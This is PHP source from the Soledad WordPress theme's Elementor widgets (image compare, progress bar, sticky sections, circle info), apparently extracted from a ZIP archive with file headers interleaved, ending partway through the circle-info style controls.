					'id'            => 'image-compare-' . $this->get_id(),
					'class'         => [ 'image-compare' ],
					'data-settings' => [
						wp_json_encode( $settings_arg ),
					],
				],
			]
		);

		if ( 'yes' == $settings['no_overlay'] ) {
			$this->add_render_attribute( 'image-compare', 'class', 'penciimg-compare-overlay' );
		}

		?>
        <div class="penciimg-compare">
            <div <?php $this->print_render_attribute_string( 'image-compare' ); ?>>
				<?php echo wp_kses_post( Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail_size', 'before_image' ) ); ?>
				<?php echo wp_kses_post( Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail_size', 'after_image' ) ); ?>
            </div>
        </div>

		<?php
	}
}PK     N\eW    3  inc/elementor/modules/penci-progress-bar/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciProgressBar;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-progress-bar';
	}

	public function get_widgets() {
		return array( 'PenciProgressBar' );
	}
}
PK     N\;!  !  G  inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciProgressBar\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Repeater;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciProgressBar extends Base_Widget {

	public function get_name() {
		return 'penci-progress-bar';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Progress Bar', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-skill-bar';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'progress bar', 'progress', 'bar' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_progressbar', array(
				'label' => esc_html__( 'Progressbar', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'label', array(
				'label'   => __( 'Custom Label', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Custom Label #1', 'soledad' ),
			)
		);
		$repeater->add_control(
			'value', array(
				'label' => __( 'Value', 'soledad' ),
				'type'  => Controls_Manager::NUMBER
			)
		);
		$repeater->add_control(
			'textcolor',
			array(
				'label' => __( 'Custom text color', 'soledad' ),
				'type'  => Controls_Manager::COLOR,
			)
		);
		$repeater->add_control(
			'bgcolor',
			array(
				'label' => __( 'Custom background color', 'soledad' ),
				'type'  => Controls_Manager::COLOR,
			)
		);

		$this->add_control(
			'progressbar', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'label' => __( 'Custom Label #1', 'soledad' ),
						'value' => '90',
					),
					array(
						'label' => __( 'Custom Label #2', 'soledad' ),
						'value' => '80',
					),
					array(
						'label' => __( 'Custom Label #3', 'soledad' ),
						'value' => '70',
					),
				),
				'title_field' => '{{{ label }}}',
			)
		);

		$this->add_control(
			'units', array(
				'label'       => __( 'Units', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'description' => __( 'Enter measurement units (Example: %, px, points, etc. Note: graph value and units will be appended to graph title).', 'soledad' ),

			)
		);
		$this->add_control(
			'options', array(
				'label'   => __( 'Options', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'striped',
				'options' => array(
					'striped'  => esc_html__( 'Add stripes', 'soledad' ),
					'animated' => esc_html__( 'Add animation (Note: visible only with striped bar)', 'soledad' )
				)
			)
		);

		$this->add_control(
			'bar_height', array(
				'label'     => __( 'Custom Height for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'height: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_border_radius', array(
				'label'     => __( 'Border Radius for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'border-radius: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_mar_top', array(
				'label'     => __( 'Custom Margin Top for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_mar_bottom', array(
				'label'     => __( 'Custom Margin Bottom for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();
		// Options colors
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'bar_title_color',
			array(
				'label'     => __( 'Process Bar Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-probar-point' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'bar_title_size', array(
				'label'     => __( 'Font size for Process Bar Title', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-probar-point' => 'font-size: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_score_color',
			array(
				'label'     => __( 'Process Bar Score Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-probar-score' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'bar_score_size', array(
				'label'     => __( 'Font size for Process Bar Score', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-probar-score' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'bar_run_bgcolor',
			array(
				'label'     => __( 'Process Bar Run Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-review-process span' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'bar_bgcolor',
			array(
				'label'     => __( 'Process Bar Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( ! $settings['progressbar'] ) {
			return;
		}
		$values = (array)$settings['progressbar'];


		$css_class = 'penci-block-vc penci-progress-bar';

		$bar_options = array();
		$options     = explode( ',', $settings['options'] );
		if ( in_array( 'animated', $options ) ) {
			$bar_options[] = 'animated penci-probar-animated';
		}
		if ( in_array( 'striped', $options ) ) {
			$bar_options[] = 'penci-probar-striped';
		}
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<div class="penci-block_content">
				<ul class="penci-probar-items">
					<?php
					$line_output = '';

					$max_value        = 0.0;
					$graph_lines_data = array();
					foreach ( $values as $data ) {
						$new_line             = $data;
						$new_line['value']    = isset( $data['value'] ) ? $data['value'] : 0;
						$new_line['label']    = isset( $data['label'] ) ? $data['label'] : '';
						$new_line['bgcolor']  = isset( $data['bgcolor'] ) ? ' style="background-color: ' . esc_attr( $data['bgcolor'] ) . ';"' : '';
						$new_line['txtcolor'] = isset( $data['textcolor'] ) ? ' style="color: ' . esc_attr( $data['textcolor'] ) . ';"' : '';

						if ( $max_value < (float) $new_line['value'] ) {
							$max_value = $new_line['value'];
						}
						$graph_lines_data[] = $new_line;
					}

					foreach ( $graph_lines_data as $line ) {

						if ( $max_value > 100.00 ) {
							$percentage_value = (float) $line['value'] > 0 && $max_value > 100.00 ? round( (float) $line['value'] / $max_value * 100, 4 ) : 0;
						} else {
							$percentage_value = $line['value'];
						}
						$percentage_value = number_format( intval( $percentage_value / 10 ), 1, '.', '' );

						$line_output .= '<li class="penci-probar-item">';
						$line_output .= '<div class="penci-probar-text"' . $line['txtcolor'] . '>';
						$line_output .= '<span class="penci-probar-point">' . do_shortcode( $line['label'] ) . '</span>';
						$line_output .= '<span class="penci-probar-score">' . $line['value'] . ( isset( $settings['units'] ) ? $settings['units'] : '' ) . '</span>';
						$line_output .= '</div>';
						$line_output .= '<div class="penci-review-process">';
						$line_output .= '<span class="penci-probar-run ' . esc_attr( implode( ' ', $bar_options ) ) . '" data-width="' . $percentage_value . '"' . $line['bgcolor'] . '></span>';
						$line_output .= '</div>';
						$line_output .= '</li>';
					}

					echo $line_output;
					?>
				</ul>
			</div>
		</div>
		<?php
	}
}
PK     N\-~v  v  -  inc/elementor/modules/penci-sticky/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSticky;

use Elementor\Controls_Manager;
use Elementor\Controls_Stack;
use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function __construct() {
		parent::__construct();

		$this->add_actions();
	}

	public function get_name() {
		return 'penci-sticky';
	}

	public function register_controls( Controls_Stack $element ) {
		$element->start_controls_section(
			'section_penci_extra_options', array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Extra Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_ADVANCED,
			)
		);

		$element->add_control(
			'penci_enable_sticky',
			array(
				'label'       => __( 'Enable Sticky sidebar and content', 'soledad' ),
				'description' => __( 'Check on front end to see it works.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => ''
			)
		);

		$element->add_control(
			'penci_enable_repons_section',
			array(
				'label'       => __( 'Flexible Responsive?', 'soledad' ),
				'description' => __( 'This option applies for Structure "25, 50, 25" only', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => ''
			)
		);

		$element->add_control(
			'penci_ctsidebar_mb',
			array(
				'label'       => __( 'Custom Position of Content and Sidebar on Mobile with Structure "25, 50, 25"', 'soledad' ),
				'description' => __( 'Check on front end to see it works.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'label_block' => true,
				'default'     => 'con_sb2_sb1',
				'options'     => array(
					'con_sb2_sb1' => 'Content + Sidebar left + Sidebar right',
					'con_sb1_sb2' => 'Content + Sidebar right + Sidebar left',
					'sb2_con_sb1' => 'Sidebar left + Content + Sidebar right',
					'sb2_sb1_con' => 'Sidebar left + Sidebar right + Content',
					'sb1_con_sb2' => 'Sidebar right + Content + Sidebar left',
					'sb1_sb2_con' => 'Sidebar right + Sidebar left + Content',
				),
				'condition'   => array( 'penci_enable_repons_section' => 'yes' ),
			)
		);

		$element->end_controls_section();
	}

	public function register_container_controls( Controls_Stack $element ) {

		$element->start_controls_section(
			'section_penci_extra_options', array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Extra Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_ADVANCED,
			)
		);

		$element->add_control(
			'penci_enable_sticky',
			array(
				'label'       => __( 'Enable Sticky Content', 'soledad' ),
				'description' => __( 'Check on front end to see it works. This option only works for the parent container.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => ''
			)
		);

		$element->end_controls_section();
	}

	private function add_actions() {
		add_action( 'elementor/element/section/section_advanced/after_section_end', [ $this, 'register_controls' ] );
		add_action( 'elementor/element/container/section_layout/after_section_end', [
			$this,
			'register_container_controls'
		] );
	}
}
PK     N\?P    2  inc/elementor/modules/penci-circle-info/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCircleInfo;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-circle-info';
	}

	public function get_widgets() {

		return array( 'PenciCircleInfo' );
	}

}
PK     N\,w  w  E  inc/elementor/modules/penci-circle-info/widgets/penci-circle-info.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCircleInfo\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Icons_Manager;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit();
}

// Exit if accessed directly
class PenciCircleInfo extends Base_Widget {

	public function get_name() {
		return 'penci-circle-info';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Circle Info', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-info-circle-o';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'circle', 'info' ];
	}

	public function get_style_depends() {
		return [ 'penci-circle-info' ];
	}

	public function get_script_depends() {
		return [ 'penci-circle-info' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_layouts',
			[
				'label' => esc_html__( 'Circle Items', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs(
			'item_info_tab'
		);

		$repeater->start_controls_tab(
			'item_info_tab_content',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'circle_info_item_title',
			[
				'label'       => esc_html__( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'placeholder' => esc_html__( 'Title Item', 'soledad' ),
				'default'     => esc_html__( 'Title Item', 'soledad' ),
				'dynamic'     => [
					'active' => true,
				],
			]
		);

		$repeater->add_control(
			'circle_info_item_details',
			[
				'label'       => esc_html__( 'Details', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => esc_html__( "Default description. Lorem Ipsum is simply dummy text of the printing and typesetting industry.   ", 'soledad' ),
				'placeholder' => esc_html__( 'Type your description here', 'soledad' ),
				'dynamic'     => [
					'active' => true,
				],
			]
		);

		$repeater->add_control(
			'circle_info_item_icon',
			[
				'label'       => esc_html__( 'Icon', 'soledad' ),
				'type'        => Controls_Manager::ICONS,
				'label_block' => false,
				'default'     => [
					'value'   => 'fas fa-check',
					'library' => 'fa-solid',
				],
				'skin'        => 'inline'
			]
		);

		$repeater->add_control(
			'circle_info_title_link',
			[
				'label'       => esc_html__( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'dynamic'     => [
					'active' => true,
				],
				'label_block' => true,
				'placeholder' => esc_html__( 'https://your-link.com', 'soledad' ),
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'item_info_tab_bg',
			[
				'label' => esc_html__( 'Background', 'soledad' ),
			]
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'item_background',
				'types'    => [ 'classic', 'gradient', 'video' ],
				'selector' => '{{WRAPPER}} {{CURRENT_ITEM}}',
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'circle_info_icon_list',
			[
				'label'       => '',
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'separator'   => 'before',
				'default'     => [
					[
						'circle_info_item_title'   => esc_html__( 'List Item #1', 'soledad' ),
						'circle_info_item_details' => '@1 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus leo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'far fa-smile',
							'library' => 'fa-regular'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #2', 'soledad' ),
						'circle_info_item_details' => '@2 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus meo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-brain',
							'library' => 'fa-solid'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #3', 'soledad' ),
						'circle_info_item_details' => '@3 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus leo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'far fa-check-circle',
							'library' => 'fa-regular'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #4', 'soledad' ),
						'circle_info_item_details' => '@4 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus meo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-cog',
							'library' => 'fa-solid'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #5', 'soledad' ),
						'circle_info_item_details' => '@5 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus leo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-dice-d6',
							'library' => 'fa-solid'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #6', 'soledad' ),
						'circle_info_item_details' => '@6 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus meo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-asterisk',
							'library' => 'fa-solid'
						],
					],
				],
				'title_field' => '{{{ circle_info_item_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_layouts1',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_layout',
			[
				'label'          => esc_html__( 'Layout on Mobile', 'soledad' ),
				'type'           => Controls_Manager::CHOOSE,
				'label_block'    => false,
				'options'        => [
					'circle' => [
						'title' => esc_html__( 'Circle', 'soledad' ),
						'icon'  => 'eicon-circle-o',
					],
					'list'   => [
						'title' => esc_html__( 'List', 'soledad' ),
						'icon'  => 'eicon-editor-list-ul',
					],
				],
				'toggle'         => false,
				'default'        => 'list',
				'prefix_class'   => 'penci-cinfo-style-',
				'style_transfer' => true,
				'render_type'    => 'template',
			]
		);

		$this->add_responsive_control(
			'circle_info_size',
			[
				'label'     => esc_html__( 'Circle Size ', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 400,
				],
				'range'     => [
					'px' => [
						'min' => 200,
						'max' => 1500,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfowrap' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'hide_content',
			[
				'label'        => esc_html__( 'Hide Content', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'prefix_class' => 'penci-cinfo-hide-',
				'condition'    => [ 'circle_info_layout' => 'default' ]
			]
		);

		$this->add_control(
			'title_tags',
			[
				'label'     => esc_html__( 'Title HTML Tag', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'span',
				'options'   => [ 
                    'h1'   => 'H1',
                    'h2'   => 'H2',
                    'h3'   => 'H3',
                    'h4'   => 'H4',
                    'h5'   => 'H5',
                    'h6'   => 'H6',
                ],
				'separator' => 'before',
			]
		);

		$this->add_control(
			'circle_info_custom_margin',
			[
				'label' => esc_html__( 'Custom Margin', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_responsive_control(
			'circle_info_margin',
			[
				'label'     => esc_html__( 'Margin', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfowrap' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
				'condition' => [
					'circle_info_custom_margin' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_icon_area_size',
			[
				'label'     => esc_html__( 'Icon Area Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}}'                                                                      => '--ep-icon-info-margin: calc({{SIZE}}px + 20px);'
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_icon_size',
			[
				'label'     => esc_html__( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle i, {{WRAPPER}} .penci-cinfoicon i' => 'font-size: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon'     => 'font-size: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'circle_info_event',
			[
				'label'   => esc_html__( 'Select Event ', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'mouseover',
				'options' => [
					'click'     => esc_html__( 'Click', 'soledad' ),
					'mouseover' => esc_html__( 'Hover', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'link_on_icon',
			[
				'label' => esc_html__( 'Link On Icon', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'circle_info_auto_mode',
			[
				'label'       => esc_html__( 'Auto Mode', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'render_type' => 'template',
			]
		);

		$this->add_control(
			'circle_info_auto_time',
			[
				'label'     => esc_html__( 'Time (ms)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 3000,
				],
				'range'     => [
					'px' => [
						'min' => 1000,
						'max' => 10000,
					],
				],
				'condition' => [
					'circle_info_auto_mode' => 'yes',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_content_style',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_mode_content_style' );

		$this->start_controls_tab(
			'circle_info_tab_content_normal',
			[
				'label' => esc_html__( 'Normal  ', 'soledad' ),
			]
		);

		$this->add_control(
			'content_glassmorphism_effect',
			[
				'label'       => esc_html__( 'Enable Backdrop Filter Effect', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'content_glassmorphism_blur_level',
			[
				'label'     => esc_html__( 'Blur Level', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'step' => 1,
						'max'  => 50,
					]
				],
				'default'   => [
					'size' => 5
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoitem' => 'backdrop-filter: blur({{SIZE}}px); -webkit-backdrop-filter: blur({{SIZE}}px);'
				],
				'condition' => [
					'content_glassmorphism_effect' => 'yes',
				]
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'circle_info_content_background_normal',
				'selector' => '{{WRAPPER}} .penci-cinfoitem',
			]
		);

		$this->add_responsive_control(
			'circle_info_content_padding_normal',
			[
				'label'     => esc_html__( 'Padding', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoitem' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'circle_item_border',
				'selector' => '{{WRAPPER}} .penci-cinfoitem',
			]
		);

		$this->add_responsive_control(
			'circle_item_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-cinfoitem' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_content_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'circle_info_content_background_hover',
				'selector' => '{{WRAPPER}} .penci-cinfoitem:hover',
			]
		);

		$this->add_control(
			'circle_item_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'circle_item_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoitem:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_icon_style',
			[
				'label' => esc_html__( 'Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_mode_style' );

		$this->start_controls_tab(
			'circle_info_tab_icon_normal',
			[
				'label' => esc_html__( 'Normal  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon'         => 'color: {{VALUE}}',
					'{{WRAPPER}} .penci-cinfosub-circle svg, {{WRAPPER}} .penci-cinfoicon svg' => 'fill: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon' => 'background-color: {{VALUE}} ',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'circle_icon_border',
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_info_icon_box_shadow',
				'label'    => esc_html__( 'Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon',
			]
		);

		$this->add_control(
			'glassmorphism_effect',
			[
				'label'       => esc_html__( 'Enable Backdrop Filter Effect', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'glassmorphism_blur_level',
			[
				'label'     => esc_html__( 'Blur Level', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'step' => 1,
						'max'  => 50,
					]
				],
				'default'   => [
					'size' => 5
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon' => 'backdrop-filter: blur({{SIZE}}px); -webkit-backdrop-filter: blur({{SIZE}}px);'
				],
				'condition' => [
					'glassmorphism_effect' => 'yes',
				]
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_icon_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_icon_color_hover',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover'         => 'color: {{VALUE}} ',
					'{{WRAPPER}} .penci-cinfosub-circle:hover svg, {{WRAPPER}} .penci-cinfoicon:hover svg' => 'fill: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_background_hover',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover' => 'background-color: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_border_hover',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover' => 'border-color: {{VALUE}} ',
				],
				'condition' => [
					'circle_icon_border_border!' => ''
				]
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_info_icon_box_shadow_hover',
				'label'    => esc_html__( 'Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover',

			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_icon_active',
			[
				'label' => esc_html__( 'Active  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_icon_color_active',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle.active, {{WRAPPER}} .penci-cinfoicon.active'         => 'color: {{VALUE}} ',
					'{{WRAPPER}} .penci-cinfosub-circle.active svg, {{WRAPPER}} .penci-cinfoicon.active svg' => 'fill: {{VALUE}} ',
				],
			]
		);
